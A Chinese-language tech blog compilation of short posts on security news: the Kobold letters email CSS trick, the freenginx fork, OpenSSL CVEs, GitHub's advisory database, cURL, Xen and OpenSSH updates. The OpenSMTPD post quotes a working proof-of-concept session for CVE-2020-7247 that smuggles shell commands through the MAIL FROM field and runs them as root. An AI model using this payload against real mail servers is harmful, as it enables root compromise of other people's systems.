利用信件裡面的 CSS,讓文字只在轉寄後才出現

在「Kobold letters: HTML emails are a risk (lutrasecurity.com)」這邊看到的 security advisory (算... 是吧?),原文在「Kobold Letters」這邊,如同標題寫的,方法其實意外的簡單...

Thunderbird 是透過 .moz-text-html>div> 指定就可以達到效果:

Outlook on the web (i.e. 雲端版本) 則是有在 id 上面增加隨機的 prefix 避免,但可以用 body>div> 避開,另外有些眉眉角角的地方會稍微複雜一點,但還是可行的:

Gmail 則是直接用個簡單的 css selector 掛上 display: none; 就 OK 了:在 sender 端 (轉寄者) 看不到,在 receiver 端則可以 (效果更好?):

比較慘的是目前大家都沒有想到比較好的解法,就算這次提到的方法被補上了,應該還是很容易被繞過去:

Unfortunately, for the foreseeable future, it is sadly not realistic to expect email clients to implement robust mitigation. This means that it is up to the users to be aware of the dangers of HTML emails and to take the necessary precautions.

另外文章裡面提到了 Can I email 這個網站,看起來如果要自己處理 email 內容的話是個不錯的資源...

nginx 分家:freenginx

Hacker News 上看到 Maxim Dounin 決定分家到 freenginx 的消息:「Freenginx: Core Nginx developer announces fork (nginx.org)」,原文在 mailing list 上:「announcing freenginx.org」,這邊提到分家的原因:

Unfortunately, some new non-technical management at F5 recently decided that they know better how to run open source projects. In particular, they decided to interfere with security policy nginx uses for years, ignoring both the policy and developers’ position.

在 freenginx 的 mailing list 上有提到更多,在 2024-February/000007.html 這篇:

The most recent "security advisory" was released despite the fact that the particular bug in the experimental HTTP/3 code is expected to be fixed as a normal bug as per the existing security policy, and all the developers, including me, agree on this.

And, while the particular action isn't exactly very bad, the approach in general is quite problematic.

這邊提到的 security advisory 是「[nginx-announce] nginx security advisory (CVE-2024-24989, CVE-2024-24990)」這個,看起來是個沒有 enabled by default 的功能:

Two security issues were identified in nginx HTTP/3 implementation,
which might allow an attacker that uses a specially crafted QUIC session
to cause a worker process crash (CVE-2024-24989, CVE-2024-24990) or
might have potential other impact (CVE-2024-24990).

The issues affect nginx compiled with the ngx_http_v3_module (not
compiled by default) if the "quic" option of the "listen" directive
is used in a configuration file.

The issue affects nginx 1.25.0 - 1.25.3.
The issue is fixed in nginx 1.25.4.

id=39373804 這邊有些目前 nginx 組成的資訊可以讀,目前 nginx 的 core devs 應該就三位 (在 Insights/Contributors 這邊看起來只有兩位,這是因為 GitHub 上面的 mirror 看起來是從 Mercurial 同步過去的,而 Sergey Kandaurov 沒有 GitHub 帳號):

Worth noting that there are only two active "core" devs, Maxim Dounin (the OP) and Roman Arutyunyan. Maxim is the biggest contributor that is still active. Maxim and Roman account for basically 99% of current development.

So this is a pretty impactful fork. It's not like one of 8 core devs or something. This is 50% of the team.

Edit: Just noticed Sergey Kandaurov isn't listed on GitHub "contributors" because he doesn't have a GitHub account (my bad). So it's more like 33% of the team. Previous releases have been tagged by Maxim, but the latest (today's 1.25.4) was tagged by Sergey

現在就是單方面的說法,可以再讓子彈多飛一點時間... 看 F5 要不要回應,以及 F5 的說法 (如果要回應的話)。

OpenSSL 3.0 RCE

OpenSSL 居然出了一包 RCE:「CVE-2022-3786 and CVE-2022-3602: X.509 Email Address Buffer Overflows」,security advisory 在「OpenSSL Security Advisory [01 November 2022]」這邊。

看第一個 CVE-2022-3602,本來看到這個 CVE 號碼為覺得應該是年初的號碼 (現在已經三萬多了?),但依照官方的說法是十月的事情,看起來是用假名回報 (Polar Bear):

This issue was reported to OpenSSL on 17th October 2022 by Polar Bear.
The fixes were developed by Dr Paul Dale.

在 CVE 的頁面上也可以看到「Date Record Created」這邊標的是 20221019,不知道是什麼情況。

另外一組 CVE-2022-3786 也是類似的情況,官方收到也是十月的事情:

This issue was discovered on 18th October 2022 by Viktor Dukhovni while
researching CVE-2022-3602. The fixes were developed by Dr Paul Dale.

在 CVE 頁面上則是標 20221101 建立,昨天的事情。

這次出事的範圍是 3.0.0 系列的 OpenSSL,前面的 1.1 與 1.0 系列是沒中的:

[T]he bugs were introduced as part of punycode decoding functionality (currently only used for processing email address name constraints in X.509 certificates). This code was first introduced in OpenSSL 3.0.0. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected.

Ubuntu 上中的是 22.04 的 jammy 以及之後的版本,包括了 22.10 的 kinetic。還在用 20.04 的基本上都還是 1.1 系列的 OpenSSL 在跑,這次沒被貓到。

這次 OpenSSL 的兩個 CVE

難得在 Hacker News 首頁上看到 OpenSSLCVE:「OpenSSL Security Advisory [5 July 2022]」,相關的討論在「OpenSSL Security Advisory (openssl.org)」。

第一個 CVE 是 RCE 等級,但觸發條件有點多:

首先是 RSA 2048bits,這個條件應該算容易發生的。

第二個是,因為這個安全問題是因為 OpenSSL 3.0.4 才引入的程式碼,而 OpenSSL 3.0.4 是 2022/06/21 發表的,未必有很多人有升級。

第三個是,因為這次出包的段落是用到了 AVX-512 指令集,一定要 Intel 或是 Centaur 的 CPU,後面這家公司前身就是威盛 (VIA) 的一員,去年賣給了 Intel (然後發現連官網用的 domain 都沒續約...)。

AMD 雖然在 Zen 4 架構上支援 AVX-512,但還沒推出產品,所以直接閃避 XD

另外第三個還有額外的限制,因為這次用到的是 IFMA 指令集,所以也不是所有有支援 AVX-512 的 CPU 都會中獎:

只看 Intel 的部份,第一個支援 IFMA 的是 2018 年推出的 Cannon Lake,這個架構只有一顆行動版的 Intel® Core™ i3-8121U Processor

真正大量支援 IFMA 的是 2019 後的 Intel CPU 了,但到了去年推出的 Alder Lake 因為 E-core 不支援 AVX-512 的關係 (但 P-core 支援),預設又關掉了。

所以如果問這個 bug 嚴不嚴重,當然是很嚴重,但影響範圍就有點微妙了。

接下來講第二個 CVE,是 AES OCB 的實做問題,比較有趣的地方是 Hacker News 上的討論引出了 Mosh 的作者跳出來說明,他居然提到他們在二月的時候試著換到 OpenSSL 的 AES OCB 時有測出這個 bug,被 test case 擋下來了:

Mosh uses AES-OCB (and has since 2011), and we found this bug when we tried to switch over to the OpenSSL implementation (away from our own ocb.cc taken from the original authors) and Launchpad ran it through our CI testsuite as part of the Mosh dev PPA build for i686 Ubuntu. (It wasn't caught by GitHub Actions because it only happens on 32-bit x86.) https://github.com/mobile-shell/mosh/issues/1174 for more.

So I would say (a) OCB is widely used, at least by the ~million Mosh users on various platforms, and (b) this episode somewhat reinforces my (perhaps overweight already) paranoia about depending on other people's code or the blast radius of even well-meaning pull requests. (We really wanted to switch over to the OpenSSL implementation rather than shipping our own, in part because ours was depending on some OpenSSL AES primitives that OpenSSL recently deprecated for external users.)

Maybe one lesson here is that many people believe in the benefits of unit tests for their own code, but we're not as thorough or experienced in writing acceptance tests for our dependencies.

Mosh got lucky this time that we had pretty good tests that exercised the library enough to find this bug, and we run them as part of the package build, but it's not that farfetched to imagine that we might have users on a platform that we don't build a package for (and therefore don't run our testsuite on).

這有點有趣 XDDD

GitHub 放出了他們整理過的 GitHub Advisory Database

GitHub 宣佈開放他們整理過的 GitHub Advisory Database:「GitHub Advisory Database now open to community contributions」,Hacker News 上有 GitHub 的 PM 回答一些問題,也可以看看:「GitHub’s database of security advisories is now open source (github.blog)」。

對應的 repository 在「github/advisory-database」這邊可以看到,用的格式是 Open Source Vulnerability format,裡面都是 JSON 檔案。

裡面看起來是從 2017/10 開始的資料,這樣算起來大約累積了四年半,算是一個來源...

OpenSMTPD RCE

在「OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)」這邊看到頗意外的 OpenSMTPD RCE,而且從「Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)」這邊的範例可以看到是個淺顯易懂的 exploit:

$ nc 192.168.56.143 25
220 obsd66.example.org ESMTP OpenSMTPD
HELO professor.falken
250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<root@example.org>
250 2.1.5 Destination address valid: Recipient ok
DATA
354 Enter mail, end with "." on a line by itself

#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
for i in W O P R; do
        echo -n "($i) " && id || break
done >> /root/x."`id -u`"."$$"
.
250 2.0.0 4cdd24df Message accepted for delivery
QUIT
221 2.0.0 Bye

這樣有點歡樂...

cURL 接下來的安全性更新...

cURL 的維護老大放話要大家注意接下來的安全性更新:「An alert on the upcoming 7.51.0 release」。

最少 11 個安全性更新:

This release will bundle no less than _eleven_ security advisories and their associated fixes (unless we get more reported in the time we have left).

由於這些 security issue 的特性,會採取不公開的 branch 修正再 merge 回來,再加上這麼大的數量,對於穩定性的衝擊是未知的:

Merging eleven previously non-disclosed branches into master just before a release is not ideal but done so to minimize the security impact on existing users when the problems get known.

所以目前的規劃是會在 release 的 48 個小時前公開 (希望藉由這封信讓有能力的人一起集中來看),藉此來降低衝擊:

My plan is to merge them all into master and push around 48 hours before release, watch the autobuilds closesly, have a few extra coverity scans done and then fix up what's found before the release.

這安全更新的數量好像有點多 orz

OpenSSL 的安全性更新 (2015/03/19)

前幾天 OpenSSL 就已經先發出通知,將會有安全性更新:「Forthcoming OpenSSL releases」。

剛剛看到更新了,總共 14 個 (但官網上寫「Security Advisory: twelve security fixes」,這是怎樣...):「OpenSSL Security Advisory [19 Mar 2015]」,其中有兩個 Severity: High 的更新,有一個是之前就已經公開了。

不過一堆 segmentation fault、memory corruption 的安全性更新...

Amazon 的 Xen 安全性更新

AWS 上租一卡車機器的人最近應該都有收到重開機的通知,目前雖然沒有明講編號,但看起來是 10/01 會公開的 XSA-108:「EC2 Maintenance Update」。

不過 Slashdot 上的「Amazon Forced To Reboot EC2 To Patch Bug In Xen」這篇的第一個 comment 很精彩:

It's funny for me to read that Amazon is notifying its users of an impending reboot.

I've been suffering with Azure for over a year now, and the only thing that's constant is rebooting....

My personal favorite Azure feature, is that SQL Azure randomly drops database connections by design.

Let that sink in for a while. You are actually required to program your application to expect failed database calls.

I've never seen such a horrible platform, or a less reliable database server...

這要怎麼說呢... 就使用雲端服務的人,設計上的確要這樣沒錯,但就提供雲端服務的供應商,應該還是要保持 VM 的穩定性吧... XDDD

FreeBSD 對 OpenSSH 的安全性更新...

讓我意外的是,只有 FreeBSD 10.0-BETA (還沒出 RELEASE 的版本) 有問題,9.2-RELEASE 並不在內:「OpenSSH AES-GCM memory corruption vulnerability」。

本來 9.2 的機器有上 workaround 把 AES-GCM 強制拔掉,看起來可以 revert 回來了...